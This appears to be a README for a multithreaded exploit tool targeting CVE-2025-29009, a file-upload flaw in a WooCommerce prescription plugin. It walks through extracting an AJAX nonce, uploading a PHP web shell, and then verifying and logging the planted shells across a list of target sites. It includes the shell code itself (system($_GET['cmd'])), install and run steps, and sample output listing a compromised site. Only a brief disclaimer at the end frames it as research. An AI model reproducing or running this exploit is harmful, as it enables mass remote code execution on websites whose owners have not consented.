┌──────────────────────────────────────────────────────────────┐
│  1. Resolve front page                                       │
│     GET /  →  GET /shop/  →  GET /product/  →  GET /?wkwcpa=1│
│                                                              │
│  2. Extract nonce                                            │
│     Parse wkwcpaFrontObj.ajax.ajaxUrl                        │
│     Parse wkwcpaFrontObj.ajax.ajaxNonce                      │
│                                                              │
│  3. Upload shell                                             │
│     POST <ajaxUrl>                                           │
│       action = wkwcpa_handle_prescription_session            │
│       nonce  = <ajaxNonce>                                   │
│       type   = upload                                        │
│       wkwc_pa_prescription_attachment[] = shell.php          │
│                                                              │
│  4. Parse response                                           │
│     JSON → data.attachments_img_html[].src  →  shell URL    │
│                                                              │
│  5. Verify shell                                             │
│     GET <shell_url>  →  check for unique signature           │
│                                                              │
│  6. Save to shells.txt                                       │
└──────────────────────────────────────────────────────────────┘

git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

<?php
// NxploitedShellOK
system($_GET['cmd']);
?>

python3 CVE-2025-29009.py

Targets file (default list.txt):              list.txt
Threads (default 10):                         10
Local shell filename (e.g. shell.php):        shell.php
Unique shell signature (e.g. NxploitedShellOK): NxploitedShellOK

https://target1.com
target2.com
http://target3.com

[SHELL]  https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL]   https://target2.com  (nonce_not_found)
[FAIL]   https://target3.com  (success_false)
[Status] 3/3  OK:1  FAIL:2

Nxploited
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.